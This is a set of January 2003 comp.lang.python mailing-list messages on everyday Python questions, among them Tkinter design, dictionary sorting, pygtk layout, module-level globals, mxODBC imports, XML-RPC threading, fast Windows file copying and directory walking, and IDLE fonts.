Date: 21 Jan 2003 22:03:46 -0500
Subject: Communication between two programs on unix
In-Reply-To: <b0kvs0$o59$1@bob.news.rcn.net>
References: <b0kvs0$o59$1@bob.news.rcn.net>
Message-ID: <1043204627.14129.142.camel@refugeeMedia>

Are you talking about two processes (programs) on different machines
connected by a LAN/internet or two processes on the same machine?



On Tue, 2003-01-21 at 23:14, morden wrote:
> I want to connect the standard output of the tkinter app to the stdin of 
> the motif app to return results and connect stdout of motif app to the
> input of the tkinter app. Is that doable? I suppose this is what 
> os.popen will do. Right?
> 
> Scenario #1: I run my tkinter program with no flags and it
> 	popens motif app it should communicate with
> 
> Scenario #2: I connect to a remote system using 'cu' from uucp package
> 	and run a unix app there communicating to my tkinter app spawned
> 	with ~+ sequence in cu (that's what you use to run rz/sz over cu 
> session, right?)
> 
> Scenario #3: I use ssh to get into a remote system and run a unix app 
> there. I have the following question about this scenario: How would I 
> connect input of the tkinter program to the output
> of the motif app and vice versa in this case? Is there any way to tell 
> ssh client to do this or I would have to modify my apps to have support 
> for ssl/tls?
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From cnetzer at mail.arc.nasa.gov  Fri Jan 10 18:52:23 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 10 Jan 2003 15:52:23 -0800
Subject: Classes / Tkinter
In-Reply-To: <iVHT9.24491$pS4.164735147@news-text.cableinet.net>
References: <iVHT9.24491$pS4.164735147@news-text.cableinet.net>
Message-ID: <200301102352.PAA03179@mail.arc.nasa.gov>

On Friday 10 January 2003 14:35, Newt wrote:
> Hi,
>
> I'm putting together an application that consists of one main
> 'window', visible all the time, and six or seven other 'windows',
> each of which would be displayed once.
>
> At the moment, each 'window' has been put into it's own class,
> together with all it's needed individual functions (e.g. data entry
> checking etc).
>
> My query is "is this appropriate for an application of this type?"

Maybe.  Maybe not.  How much to you intend for this application to 
"scale"?  also, how similar are the 'windows' (I don't mean just GUI 
layout, I mean conceptually similar in what services the provide to the 
core of your software)?

I really should write an organized essay on this (with regard to 
Tkinter and Python), but for now, here are my rambling suggestions.

Basically, you should remember this:

   - You can use subclassing to extend the interface of objects, and to 
reuse implementation.  But you should avoid using it JUST to reuse 
implementation.

   - You need to know what services your software will provide to the 
user, and then you need to design classes that have an interface to 
provide those services (forget the GUI for this part).  Use inheritence 
to extend the API (but don't use it to remove large parts of the API, 
just becuase you want to reuse a small part of it.  An inherited object 
"is" she tame kind of object as it's parent.

   - Use small communicating objects to provide common services, and 
incorporate them into your "windows".  Do not inherit them, just make 
them and use them (aggregation, not inheritance).

   - Once you have thought about what your program really needs to do, 
only then start thinking about the GUI interface.  It should follow the 
program, not define it.

   - Separate the logic of your design (what you want the program to 
do) from the interface.  It is a cardinal sin of GUI scalability to 
incorporate the state and services of the software wholly in the user 
interface.  You will go mad from it eventually.  Basically, the GUI 
gets input from the user, it provides output to the user, and it should 
communicate to your program which is implementing your algorithm.  
Preferably there is a lyer between the too.  Search Google for talk 
about "Model-View-Presenter" architecture (or the similar, but I think 
deprecated, "Model-View-Controller").  Do this NOW! :)


Okay, in practical terms what does that all mean?

Assuming Tkinter, don't just start inheriting from Frame to make 
windows, then adding all kinds of widgets which are inherited from 
other widgets, and then having a million callbacks to calculate and 
update each other when input changes.

Instead, have a core program.  Each window communicates with the core, 
and the core comminicates back to those windows.  The windows do NOT 
communicate with each other, or to the various parts of themselves (by 
and large).

Ask yourself, "if I want to quit, and later restart my program, with 
everything exactly like it is (on the GUI), how would I do it?"  Or, "I 
want to be able to 'script' my program, without interacting with the 
GUI. How will I do it?"

Also, by all means, look at dispatcher.py, by Patrick O'Brien, from the 
Python cookbook.  Consider using it instead of having tons and tons of 
callback driven event processing.

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/87056


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From uwe.schmitt at procoders.net  Wed Jan 29 04:59:46 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 29 Jan 2003 09:59:46 GMT
Subject: sorting dictionaries by value
References: <v3f4qvg7f66nee@corp.supernews.com>
Message-ID: <b188mi$qjft3$1@hades.rz.uni-sb.de>

Hilbert <hilbert at microsoft.com> wrote:
> Hello,

> I have the following dictionary:

>>>> dict = {
> ... "one" : { "red" : 23, "blue" : 99 },
> ... "two" : { "red" : 43, "blue" : 17 },
> ... "three" : { "red" : 34, "blue" : 65 },
> ... "four" : { "red" : 36, "blue" : 38 } }

> I'd like to print the value of  "blue" sorted and the corresponding key of
> dict, like:

> 17 "two"
> 38 "four"
> 65 "three"
> 99 "one"

*Never* name a dictionary 'dict', this is a builtin class,
representing the dictionary data type.

One solution:

Decorate-Sort-Undecorate:

d = { 'one' : ... } 

li =[ (v["blue"],k) for k,v in d.items() ]
li.sort()
result = [ (k,v) for v,k in li ]

I did not test this code, hope it works.

Greetings, Uwe.


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From asho at nospam.com  Mon Jan 20 05:34:02 2003
From: asho at nospam.com (asho)
Date: Mon, 20 Jan 2003 18:34:02 +0800
Subject: Problems about my newbie code.( using pygtk )
Message-ID: <b0gjar$iiv@netnews.hinet.net>

hi...
I started to use the gtk with python to write some gui programs.


my goal is to make a program window with two buttons.

Codes are listed below

#!/usr/bin/env python

# this is a translation of "Hello World III" from the GTK manual,
# using gtk.py

from gtk import *
import os

def vcdrip(*args):
        #command = "vcdxrip --cdrom-device=/dev/cdrom -p"
        command = "hehe"
        os.system(command)
        window.destroy()

def destroy(*args):
    window.hide()
    mainquit()

window = GtkWindow(WINDOW_TOPLEVEL)
window.connect("destroy", destroy)
window.set_border_width(50)

button = GtkButton("vcdrip")
button.connect("clicked",vcdrip)
window.add(button)
button.show()

button2 = GtkButton("exit")
button2.connect("clicked",destroy)
window.add(button2)
button2.show()

window.show_all()

mainloop()

When I run this program , it only appears a button with vcdrip.

Is there anything wrong with my ocde?? Please help me to solve the problem.

Thanks




From bokr at oz.net  Wed Jan  8 15:50:14 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 20:50:14 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <3E1C59C6.5D8034CD@engcorp.com> <mailman.1042048638.27988.python-list@python.org>
Message-ID: <avi2u6$57g$0@216.39.172.122>

On Wed, 8 Jan 2003 18:56:15 +0100, Michal Vitecek <fuf at mageo.cz> wrote:
[...]
>
> what i wanted was an easy solution to be able to access (read/write,
> etc.) data files in my python scripts. the data files are located in
> some fixed directory but the scripts (with classes that operate on
> them) can be whatever deep in directories and be imported and used from
> scripts that can be again whatever deep. some example:
>
>    projectRootDirectory:
>        importFileModuleToWorkOnFile.py*
>        
>    projectRootDirectory/dataFiles:
>        File.dat
>
>    projectRootDirectory/classes:
>        FileModuleWorkingOnFile.py
>
>    projectRootDirectory/tests:
>        testFileModuleWorkingOnFile.py*
>
> where * denotes executable python script and module
> FileModuleWorkingOnFile.py contains a class that wants to be able to
> access file File.dat no matter what is the location of executable
> script importing it. if real globals were supported in python i could
> have the scripts roughly as follows:

I'm not getting a clear picture of your overall design, but "sys.path tweaking"
sounds like you ought to look for another way to do whatever got you to
consider that.

>
> importFileModuleToWorkOnFile.py:
     #XXX# PROJECT_ROOT_DIRECTORY = "."
     import MichalVitecekGlobals
     MichalVitecekGlobals.PROJECT_ROOT_DIRECTORY = "."
                                                    ^---[Note 1]

>    # sys.path tweaking
     ^^^^^^^^^^^^^^^^^^^ ?? why ??
>    import FileModuleWorkingOnFile
>
>    # make an instance of class ClassWorkingOnFile() and call its
>    # methods to do some work on file File.dat
>    ...
>
>
> testFileModuleWorkingOnFile.py:
     #XXX# PROJECT_ROOT_DIRECTORY = ".."
     import MichalVitecekGlobals
     MichalVitecekGlobals.PROJECT_ROOT_DIRECTORY = ".."
                                                    ^---[Note 1]

>    # sys.path tweaking
     ^^^^^^^^^^^^^^^^^^^ ?? why ??

>    import FileModuleWorkingOnFile
>
>    # make an instance of class ClassWorkingOnFile() and call its
>    # methods to do some work on file File.dat
>    ...
>
>
> FileModuleWorkingOnFile.py:
>    class ClassWorkingOnFile(object):
>        ...
>
>        def workOnFile(self):
             #XXX# global PROJECT_ROOT_DIRECTORY
             import MichalVitecekGlobals
>            
             #XXX# f = open(PROJECT_ROOT_DIRECTORY + "/dataFiles/File.dat")
             f = open(MichalVitecekGlobals.PROJECT_ROOT_DIRECTORY + "/dataFiles/File.dat")
>            ...


The above might do what you want, if you put MichalVitecekGlobals.py somewhere in the
search path, e.g. D:\python22\lib\site-packages\MVProject\MichalVitecekGlobal.py or
wherever makes sense for your setup.

By importing the same module, it becomes a namespace that you can share like a "real global"
namespace using attribute (dotted) names to access its named content.

Some kinds of global sharing make sense, but if you find you're using it as a scratch pad
to pass info between things, your design probably needs a rethink. I'm a little suspicious ;-)

+--- [Note 1] -----------------------------------------------------------------------------
+ '.' and '..' in file paths are not relative to the directories of files that
+ contain that text, even if they happen to be scripts. They will be relative to the current
+ working directory of whatever process is running (which you can determine with os.getcwd()
+ and change with os.chdir('/some/new/path')). It will be your interactive current working
+ directory if you start python that way, but if the interpreter is started by a server daemon
+ etc., it will depend on how that's done.  Type import os; help(os.path) for more info.
+-------------------------------------------------------------------------------------------

Regards,
Bengt Richter



From peter at engcorp.com  Wed Jan 29 23:30:16 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 23:30:16 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com>  of "Tue, 28 Jan 2003 19:49:10 +0100." <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com> <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net>
Message-ID: <3E38AA58.B30CD4A5@engcorp.com>

Brandon Van Every wrote:
> 
> C++ has a bazillion users.  Well, that's an exaggeration, but it has
> the lion's share of the programmers.  

Depending on what the heck "lion's share" means, this is either
true at the present time, or patently false.  Not really germane, 
however, I suppose.

> Enter Python, and "avant garde" Python aficionados such as found in 
> this forum.  

Interesting adjective... you *are* trolling, aren't you? :-)

> A tiny minority of early converts
> who do not experience problems because they're all good engineers anyways.
> When Python is finally used by every schmuck out there, to the same degree
> that C++ is, I predict you'll see as many people blowing off their leg with
> Python as with C++.  At least in terms of rough orders of magnitude.

You're overlooking the experience of those like Alex Martelli (and me,
and dozens of others) who have already used C++ extensively, and *are*
good engineers, as you suggest, and yet who have found far more fertile
ground for a wide range of problems in that baroque language than we
have in Python.

I don't think anyone who has programmed in both languages for years
would agree with your statement.

> Python may a be a great productivity tool for the power programmer, but I
> seriously doubt that it's any kind of magic bullet for the average engineer.

There is no magic bullet for the "average engineer".  Remember what
Brooks said... he is still right.

-Peter



From nospam at bigfoot.com  Thu Jan 30 13:27:52 2003
From: nospam at bigfoot.com (Gillou)
Date: Thu, 30 Jan 2003 19:27:52 +0100
Subject: mxODBC cannot import... new install
References: <c017c9ec.0301300938.6f7b76dc@posting.google.com>
Message-ID: <b1bq5m$2l93$1@norfair.nerim.net>

"Tony Colston" <agcolston at buckman.com> a ?crit dans le message de news:
c017c9ec.0301300938.6f7b76dc at posting.google.com...
> I just installed mxODBC and cannot get the damn thing even to import!
> Does anyone have any advice on how to get this to work?
>
> I am trying this and here are the results.
>
> PythonWin 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
> win32.
> Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au)
> - see 'Help/About PythonWin' for further copyright information.
> >>> import mx.ODBC.Windows
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> ImportError: No module named mx.ODBC.Windows
> >>>
>
> I do not have PYTHONPATH set to anything. This is just a standard
> Windows 2000 installation. I have not done any modifications to
> anything as far as I know. I installed python with the installer like
> always. I installed mxODBC with the installer for 2.2, it found the
> correct Python directory and installed.
>
> Has anyone else got this package to work on Windows?
>
> Thanks ahead of time.

It works perfectly for me (win2K + Python 2.1.3)
c:\Python21\mx\ODBC\Windows

Remember that mxODBC *requires* mxBase package. Perhaps you forgot it ?

then try

>>> import sys
>>> sys.path
['...']

Does the directory that contains mx appear here ?

--Gilles






From mwh at python.net  Sat Jan 18 11:18:14 2003
From: mwh at python.net (Michael Hudson)
Date: Sat, 18 Jan 2003 16:18:14 GMT
Subject: Problem installing module readline for Python2.3a1 on SGI
References: <mailman.1042835072.24826.python-list@python.org>
Message-ID: <7h3wul2l9d4.fsf@pc150.maths.bris.ac.uk>

Alexandre Gillet <gillet at scripps.edu> writes:

> Thanks for the answer. I will wait for 2.3a2 and try it.
> I have readline 4.3

Oh, then you weren't suffering the issues I thoguht you might be and I
doubt 2.3a2 will be different.  I hope Christos "TZOTZIOY" Georgiou's
post helped you.

Cheers,
M.

-- 
6. Symmetry is a complexity-reducing concept (co-routines include
   subroutines); seek it everywhere.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html



From simonb at webone.com.au  Thu Jan  9 06:30:36 2003
From: simonb at webone.com.au (Simon Burton)
Date: Thu, 09 Jan 2003 22:30:36 +1100
Subject: bgen rocks
References: <mailman.1041990999.32179.python-list@python.org>
Message-ID: <pan.2003.01.09.11.30.33.290629@webone.com.au>

On Tue, 07 Jan 2003 17:54:50 -0800, Chris li wrote:

> I recently spend some time on bgen to learn how to
> make python modules. bgen is so cool!
> 

AHHH! i never new about bgen! 

i have just written a heavy duty c header file parser for just this
purpose,
http://arrowtheory.com/software/python/index.html

i hope it can be integrated with bgen; off to figure out bgen, any help
appreciated,

Simon Burton.




From lac at strakt.com  Sat Jan 25 07:28:57 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 25 Jan 2003 13:28:57 +0100
Subject: Something like asynchronous XML-RPC possible? 
In-Reply-To: Message from hwlgw@hotmail.com (Will Stuyvesant) 
   of "25 Jan 2003 03:36:37 PST." <cb035744.0301250336.4f378943@posting.google.com> 
References: <mailman.1043454645.26543.python-list@python.org> <cb035744.0301250336.4f378943@posting.google.com> 
Message-ID: <200301251228.h0PCSvjL000992@ratthing-b246.strakt.com>

[Will Stuyvesant]
> 
> I can think of one argument they will confront me with I do not have a
> good answer for.  It is the "blocking caller" or "inefficient thread
> creation" thing.   As Stuart guessed, the application is indeed sort
> of realtime, they want the caller to continue processing *immediately*
> after sending the event to the server.  The prototype I have now does
> send an event by means of an XML-RPC call in a separately created
> thread (just using pythons' nice ``thread.start_new()``) because it
> *has* to receive a return value from the server even though it will
> never look at it.  If they say that creating a thread for this is
> highly inefficient and a wrong design, what should my answer be?

They're right, this is inefficient.  So don't do this.

Instead, make one thread whose job is to attend to 'open connections'.
Make a Queue and pass your new connections to that thread.  If there
are no new connections, that thread will block.  If there are connections,
then you can process them one by one (if that is what you want) or use
select to get them going simultaneously (if that is what you want
instead).

Or you could use Pyro, Corba, Twisted -- something that is already
designed to send out requests and not wait for a response.

Or you could hack the server side to not send a response in the first
place.

Laura Creighton




From db3l at fitlinxx.com  Thu Jan  9 18:28:16 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 09 Jan 2003 18:28:16 -0500
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <mailman.1041907216.30028.python-list@python.org> <b11d1191.0301080827.48643491@posting.google.com>
Message-ID: <uu1gh6gz3.fsf@fitlinxx.com>

BranimirPetrovic at yahoo.com (Branimir Petrovic) writes:

> Andy, would you mind showing the snippet of the critical part of your
> "?just loads up each file and writes it to dest." statement. Not quite
> see/understand what you mean (and how).

I expect from his comment that Andy literally reads the entire file
into memory (e.g., open()s it and just calls read()), and then writes
it out.  So a single iteration through Python code, but potentially a
lot of memory usage.

> Having fair amount of scripting experience of what's (not) achievable
> using M$ pathetic scripting approach (FileSystemsObject & cousins), 
> I had impression that beating robocopy.exe using (any) scripting 
> language is just not in cards.

Well, using the very high level COM scripting approach is going to
have reasonably high overhead to instantiate the various objects along
the way and then to actually issue the various calls amongst the
objects.

Assuming that the actual processing or decision making you have to go
through for each file to be transferred isn't tremendous (e.g., you
just want to enumerate and transfer a tree), there are probably two
main potential performance bottlenecks in such a program - the
traversal of the directory structures and the control of the actual
I/O to perform the necessary operations to recreate the tree and
transfer the file.

The actual file transfer is, perhaps surprisingly, not likely to be
bottlenecked by Python's interpretation, as long as you use a
sufficiently high blocksize for the physical I/O that you minimize the
overhead of any Python loop compared to the time spent performing the
I/O.  For example - a very straight forward Python copy program:

          - - - - - - - - - - - - - - - - - - - - - - - - -
    # copy.py

    import sys
    import time

    BLOCKSIZE = 65536

    if __name__ == "__main__":

        source = open(sys.argv[1],'rb')
        dest   = open(sys.argv[2],'wb')

        size = 0
        start = time.time()
        while 1:
            block = source.read(BLOCKSIZE)
            if not block: break
            dest.write(block)
            size = size + len(block)
        end = time.time()

        print "%d bytes in %g s (%g KB)" % \
              (size,end-start,(size/(end-start))/1024)
          - - - - - - - - - - - - - - - - - - - - - - - - -

should be able to achieve a very respectable copy rate because the
lion's share of time will be spent in raw I/O and not that much in the
Python interpreter overhead.

Walking a directory structure can be another matter, depending on the
environment involved, because there you may have a ton of individual
directory elements that need processing by the scripting language so
you have a much higher script interpretative overhead per operation.

With respect to Python, you also have the issue that to perform a walk
of the system tends to require not only identifying lists of files,
but performing separate operations to obtain status information about
those files (os.stat) which decreases efficiency under Windows.  But
you can obtain much higher performance if you are willing to use the
win32all package to use native Win32 operations to walk the directory
structure - in which case you receive directory entry and status
information in a single call.

For example, the following routine scans a directory tree to summarize
numbers and sizes of contained files.  Originally, I implemented this
with the more generic os.path.walk routine.  By moving to the more
direct Win32 calls, and also avoiding some of the higher level path
manipulation calls in favor of direct code, I was able to obtain an
over 4 fold increase in performance.  It can process a filesystem with
about 140,000 files (spread over a large number of directories) in
about 4 minutes.  Or around 550-600 files/s including directory
traversal.  Generally speaking - in a transfer process that's probably
fast enough to keep your pipes busy :-)

There's still a reasonable amount of Python processing per each entry
in the system it is handling, but I found this to be more than enough
performance to avoid having to move out of Python for the application.

          - - - - - - - - - - - - - - - - - - - - - - - - -
def map_disk_usage(root, depth):
    """map_disk_usage(root, depth)

    Recursive function to build up a map of disk usage by directory.

    The directory at 'root' is scanned, and a total count and space for
    files in the directory computed, as well as an estimate of physical
    usage assuming a 64K cluster size (FAT16 on 4GB partition).

    The result for the directory is stored as a tuple (count, size,
    physical) where size and physical are long integers. If there are
    subdirectories, then the function returns a dictionary with the
    top level information at key "None" and each subdirectory at a key
    of its name.  If there are no subdirectories, then this function
    returns the size tuple directly.

    The depth parameter limits how deep the scan will go - levels beyond
    that are rolled up into the prior level.  A value of 0 will return
    aggregate values at or beneath the root, 1 will go 1 level down and so
    on.  A value of -1 can be used for unlimited depth."""

    # For maximum performance (4x), native Win32 calls are used.  The
    # big win is not needing to call stat on each file to get
    # type/size information.  A loss is that the win32api module
    # creates an object per file in the directory, so the peak working
    # set of this implementation for large directories is higher than
    # a listdir/stat implementation.

    curdir  = {}
    dirsize = physize = 0L
    count   = 0

    if root[-1] in ('/','\\'):
        root = root[:-1]
    try:
        names = win32api.FindFiles(root+'\\*')
    except:
        names = []

    if depth > 0:
        recurse_depth = depth - 1
    else:
        recurse_depth = depth

    for name in names:
        # Performance is critical here, so handle join and directory check
        # manually (managed to shave about 50% off by doing this)
        fname = name[8]
        fsize = name[5]

        if (name[0] & 0x10):
            if name[8] not in ('.','..'):
                result = map_disk_usage(root + '\\' + fname, recurse_depth)
                if depth == 0:
                    count   = count   + result[0]
                    dirsize = dirsize + result[1]
                    physize = physize + result[2]
                else:
                    curdir[name[8]] = result
        else:
            count   = count + 1
            dirsize = dirsize + fsize
            physize = physize + fsize + (65536 - (fsize % 65536))

    if not curdir:
        curdir = (count,dirsize,physize)
    else:
        curdir[None] = (count,dirsize,physize)
    return curdir
          - - - - - - - - - - - - - - - - - - - - - - - - -

Of course whether or not an implementation will meet your specific
performance goals depends on what those specific goals are.  And if
the task you are trying to perform is already a good match for a
pre-existing tool (such as robocopy), I'd certainly go ahead and use
the tool - a true compiled executable will generally have an edge over
a script.  But if you're implementing any custom functionality in the
process anyway, don't assume that the directory walk/copy portion
won't be suitable to be scripted.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From alloydflanagan at attbi.com  Fri Jan  3 11:46:49 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 3 Jan 2003 08:46:49 -0800
Subject: Learn about natural male enhancement          (rra  hc k )
References: <Dz8R9.1104$Q81.3960@nsw.nnrp.telstra.net>
Message-ID: <a8b7f07a.0301030846.1593799c@posting.google.com>

zbfkc at ktx.com wrote in message news:<Dz8R9.1104$Q81.3960 at nsw.nnrp.telstra.net>...
> " . . . Basically, you can enhance any part of your
> body with the proper exercise. We have done extensive
> research and found exercises that are PROVEN to enlarge
> your penis, increase stamina, STRAIGHTEN a curved penis,
> stop premature ejaculations, and even cure Peyronies Disease . . ."

First, this is way off topic.
Second, all the guys on THIS list don't need enhancement, natural or otherwise.
Third, there are no muscles in the penis, so what are you going to exercise?



From mertz at gnosis.cx  Fri Jan 10 03:49:16 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Fri, 10 Jan 2003 03:49:16 -0500
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avliio$beo$0@216.39.172.122>
 <avlunc$15h5$1@agate.berkeley.edu>
Message-ID: <MkoH+kKkX0oc092yn@gnosis.cx>         

Daniel Yoo <dyoo at hkn.eecs.berkeley.edu> wrote previously:
|:    D:\Python22\Lib\__init__.py

|I didn't think about that one... cool!  You're right though: the one
|problem I'd see about is that this would be platform specific, as
|Python's libraries live in "lib/pythonX.X" on some Unix systems.

It doesn't come "out of the box" this way, but you could easily create
your own directory on the import path that was a link to the actual
library path.  And you could name it something like 'std' or '__std__'.
Once such a link was added, the OP's prefered import form will work.

--
 mertz@   _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i
gnosis  _/_/                    Postmodern Enterprises         _/_/  s r
.cx    _/_/  MAKERS OF CHAOS....                              _/_/   i u
      _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/    g s





From danb_83 at yahoo.com  Thu Jan  2 01:59:26 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 1 Jan 2003 22:59:26 -0800
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <yyyk7hrikh9.fsf@adams.patriot.net> <87lm27xw6g.fsf@gvdnet.dk> <yyyy967gzdy.fsf@adams.patriot.net> <auq9fi$l7u$1@baldur.whoi.edu> <yyyhecvgrtl.fsf@adams.patriot.net> <auqes4$n1m$1@baldur.whoi.edu> <tyfsmwdm1u7.fsf@lxplus049.cern.ch> <av0d4q$pl1$1@baldur.whoi.edu>
Message-ID: <ad052e5c.0301012259.1c342184@posting.google.com>

"Karl A. Krueger" <kkrueger at example.edu> wrote in message news:<av0d4q$pl1$1 at baldur.whoi.edu>...
> Jacek Generowicz <jacek.generowicz at cern.ch> wrote:
> > "Karl A. Krueger" <kkrueger at example.edu> writes:
> >> Nick Vargish <nav at adams.patriot.net> wrote:
> >> > FORTH
> >> I don't remember a word of it.
> > LOL!
> > (You didn't put a smiley, but I assume the joke was intentional.)
> 
> Something like that.  I'm sure there are stacks and stacks of Forth
> puns, though.

I glad anything to write in language that have had never I that am.



From heikowu at ceosg.de  Tue Jan 28 05:29:08 2003
From: heikowu at ceosg.de (Heiko Wundram)
Date: 28 Jan 2003 11:29:08 +0100
Subject: Saarland Area PIG
Message-ID: <1043749748.22783.16.camel@d097.stw.stud.uni-saarland.de>

Me and several members of the Unix-AG of the University of the Saarland,
Saarbr?cken, have long thought about calling into life a Saarland Area
Python Interest Group.

This group's focus will me mostly oriented towards Webware created
around/with Python (such as Zope).

We currently do not have a room yet from our department of Computer
Science, but we hope that this can be established in the very near
future, so that our first meeting should be able to take place at the
beginning of the coming the semester-holidays at the end of February.

Our main language will be German, although we have some French members
coming from Lorraine.

If anybody is interested, I'll soon set up a Wiki on the above-mentioned
page; I'll broadcast the link here soon.

Hope to see some of you there! :-)

Heiko Wundram.

Unix-AG: http://www.unix-ag.sv.uni-saarland.de/





From aleax at aleax.it  Thu Jan 30 07:13:22 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 12:13:22 GMT
Subject: IDLE FONT
References: <mailman.1043926915.17212.python-list@python.org>
Message-ID: <CF8_9.103775$0v.3015386@news1.tin.it>

ppython wrote:

> I use Linux and Python2.1.
> What can i do to make bigger the font
> on idle ...
> i dont use the idle because the font
> is so small....

Simplest: edit the textfile (in your Python library
directory) named:

python2.2/site-packages/idlelib/config-unix.txt

it probably looks somewhat like:

[EditorWindow]
font-name= courier
font-size= 14


all you have to do is change the font name and/or
size -- experiment until you get the font you like.


Alternatively, to perform this customization for
ONE user only, e.g. yourself, copy the above mentioned
configuration file to ~/.idle (i.e. to a file named
.idle in your home directory) and edit THAT -- it
takes precedence on config-unix.txt, if it exists.


Alex




From ralf.oberlaender at emsys.de  Thu Jan  9 09:26:39 2003
From: ralf.oberlaender at emsys.de (=?ISO-8859-1?Q?Ralf_Oberl=E4nder?=)
Date: Thu, 09 Jan 2003 15:26:39 +0100
Subject: get instance name  inside of member function
Message-ID: <3E1D869F.2050809@emsys.de>

Hi gurus,

is it possible to get the name of the instance inside a member function:

class a:
     def inst_name():
         pass

inst=a

so that

inst.inst_name()

results in the string "inst"

I need it for logging

Ralf




From tjreedy at udel.edu  Fri Jan 17 12:40:16 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 17 Jan 2003 12:40:16 -0500
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <Ux-dnUjKW8pDorWjXTWc3A@comcast.com>

"Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message
news:b08ank$dak12 at imsp212.netvigator.com...
> Hi All,
>
> Can anyone recommend me an introduction on object oriented
programming in
> general, and the trick in Python? Preferrably tutorial on the web or
so.

One possibility: pick one of the library modules that defines a class
that does something of interest (and comprehension) to you.  Read the
source code (and maybe the test module also, if you can find it in
Lib/Test).  Import the class into the interpreter and exercise some of
the methods.   Define a derived class and override one of the methods.
(And *do not* worry about metaclasses, properties, slots, etc until
you are comfortable with the basics.)

Terry J. Reedy





From sholden at holdenweb.com  Fri Jan 17 15:23:56 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 17 Jan 2003 20:23:56 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com>
Message-ID: <wDZV9.138$bs2.110@news2.central.cox.net>

"Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote in message
news:7xznpzv93c.fsf at ruckus.brouhaha.com...
> Nick Vargish <nav at adams.patriot.net> writes:
> > I just encountered a problem that required reverse iterating to solve,
> > and my current solution, though it works, is not so satisfying:
> >
> > def commafy(val):
> >     """Return val as string with commas every thousandth place.""" ...
>
> If you're just looking for a practical solution, use the locale package,
> which does this formatting for you.

That's no fun.

Here's my own non-reversing solution. Again, it would need tweaking for
negative numbers to avoid results like "-,123".

    def commafy(val):
        val = str(val)
        if len(val) < 4:
         return val
        chunk = [3, 1, 2]
        out = []
        while val:
            n = chunk[len(val) % 3]
            out.append(val[:n])
            val = val[n:]
        return ",".join(out)

    for i in [1, 12, 123, 1234, 12345, 123456, 1234567, 12345678]:
        print i, ":", commafy(i)

I've even tested it.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From peter at engcorp.com  Fri Jan 10 09:25:45 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Jan 2003 09:25:45 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <s82kva.11c.ln@cvs> <3E1D90A7.65024A33@engcorp.com> <bfkmva.m8l.ln@cvs>
Message-ID: <3E1ED7E9.4D86CA8@engcorp.com>

Max Ischenko wrote:
> 
>  Peter Hansen wrote:
> 
> >> Sophisticated type system, like the Hindley-Milner (Haskell)
> >> could free you from extra typing still providing advantages of the static
> >> type checking.
> 
> > I haven't felt in any way hampered by the lack of those "advantages"
> > so far, and I strongly doubt Haskell would be as nice, for me, to code in
> > as Python, nor as readable.
> 
> I'd prefer Python over Haskell in 99 from 100 cases but this is irrelevant
> to the point. I just wanted to say that static type system _could_ provide
> actual advatages and there are decent languages which exploit this.

